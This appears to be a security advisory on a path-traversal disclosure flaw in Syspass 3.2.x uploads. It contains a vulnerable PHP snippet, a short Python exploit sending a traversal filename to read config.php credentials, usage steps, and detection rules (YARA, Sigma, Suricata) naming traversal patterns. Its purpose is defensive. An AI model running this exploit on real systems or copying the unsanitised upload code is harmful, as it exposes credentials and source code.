CVE-2025-25478

Executive Summary

CVE-2025-25478 is a critical information disclosure vulnerability in Syspass 3.2.x, specifically within the account file upload functionality. The application fails to properly sanitize or handle special characters in filenames during file uploads. This mismanagement allows an unauthenticated attacker to trigger the disclosure of the web application's source code, including sensitive configuration data such as database credentials. The vulnerability is classified as an External Control of File Name or Path (CWE-73) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of the attack vector makes it a high-priority target for red teaming and defensive hardening.

Supply Chain & Package Security

Syspass is a PHP-based password manager. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The vulnerability is rated High due to the low attack complexity and the high confidentiality impact, exposing database credentials and source code.

Deep Dive & Mechanics

The vulnerability resides in the file upload handler for account attachments. Syspass 3.2.x uses a function that processes uploaded files and stores them on the filesystem. The flaw occurs when the filename contains special characters such as .., %00, or path traversal sequences like ../../../. The application does not validate or sanitize the filename before using it in file operations (e.g., move_uploaded_file() or file_get_contents()). This allows an attacker to:

1. Upload a file with a name like ../../../etc/passwd or ../../../var/www/html/config.php.
2. The application processes the filename, potentially writing or reading files outside the intended upload directory.
3. If the application echoes the file content back (e.g., for preview), the attacker can read arbitrary files, including the web application's source code and configuration files containing the database password.

The root cause is the lack of input validation and the use of user-supplied filenames in filesystem operations without proper path canonicalization.

Vulnerable vs. Patched Code

Vulnerable Code (Syspass 3.2.x):

// Vulnerable: No sanitization of filename
$filename = $_FILES['file']['name'];
$destination = UPLOAD_DIR . '/' . $filename;
move_uploaded_file($_FILES['file']['tmp_name'], $destination);
// Later, when displaying the file:
$content = file_get_contents($destination);
echo $content;

Patched Code (Hypothetical fix):

// Patched: Sanitize filename and restrict path
$filename = basename($_FILES['file']['name']);
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
$destination = UPLOAD_DIR . '/' . $filename;
if (strpos(realpath($destination), realpath(UPLOAD_DIR)) !== 0) {
    die('Invalid path');
}
move_uploaded_file($_FILES['file']['tmp_name'], $destination);
// For display, use readfile() with proper path validation
readfile($destination);

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-syspass.local"
upload_url = f"{target}/api.php?action=uploadFile"
payload_file = "config.php"  # Target file to read
# Use path traversal to read the config file
files = {
    'file': (f'../../../var/www/html/config.php', 'dummy content', 'text/plain')
}
response = requests.post(upload_url, files=files)
# The response may contain the source code of config.php
print(response.text)

Usage:

1. Identify a Syspass 3.2.x instance.
2. Send a POST request to the file upload endpoint with a filename containing path traversal sequences.
3. The server will read and return the contents of the targeted file (e.g., config.php containing database credentials).

Blue Team

Detection Steps:

1. Monitor file upload endpoints for filenames containing .., %00, or absolute paths.
2. Check web server logs for unusual file paths in upload requests.
3. Implement file integrity monitoring on critical configuration files.

Honeypot Setup:

• Deploy a fake config.php with a decoy database password.
• Alert when the file is accessed via the upload functionality.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api.php?action=uploadFile with filenames containing ../ or %00.
  • Outbound connections from the web server to unknown IPs after exploitation.
• File System IOCs:
  • Unexpected files in the upload directory with names like ../../../etc/passwd.
  • Modified timestamps on configuration files (e.g., config.php).
• Log IOCs:
  • Web server logs showing file_get_contents() calls with path traversal patterns.
  • PHP error logs with warnings about failed move_uploaded_file() due to invalid paths.

Detection Engineering

YARA Rule

rule CVE_2025_25478_Syspass_Upload {
    meta:
        description = "Detects path traversal attempts in Syspass file uploads"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-25478"
    strings:
        $traversal1 = /\.\.\/[a-zA-Z0-9_\/]+\.php/
        $traversal2 = /%00[a-zA-Z0-9_\/]+\.php/
        $traversal3 = /\.\.\\[a-zA-Z0-9_\\]+\.php/
    condition:
        any of them
}

Sigma Rule

title: Syspass File Upload Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Syspass file upload functionality
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=uploadFile'
        cs-uri-query|contains: 
            - '..'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate file names with dots (e.g., "file.v2.txt")
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25478 Syspass File Upload Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"action=uploadFile"; http_uri; content:".."; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the file upload functionality in Syspass until a patch is released.
   • Implement a Web Application Firewall (WAF) rule to block filenames containing .., %00, or absolute paths.
   • Restrict file upload directory permissions to prevent reading outside the upload folder.

2. Long-term Fix:

   • Apply input validation and sanitization to all filenames (use basename(), strip special characters).
   • Use realpath() to canonicalize paths and ensure they stay within the upload directory.
   • Store uploaded files with random names and map them to original names in a database.

3. Monitoring:

   • Enable detailed logging for file uploads and monitor for path traversal patterns.
   • Deploy file integrity monitoring on critical configuration files.

4. Vendor Communication:

   • Contact Syspass support for an official patch.
   • Monitor the Syspass GitHub repository for security updates.

Valters IT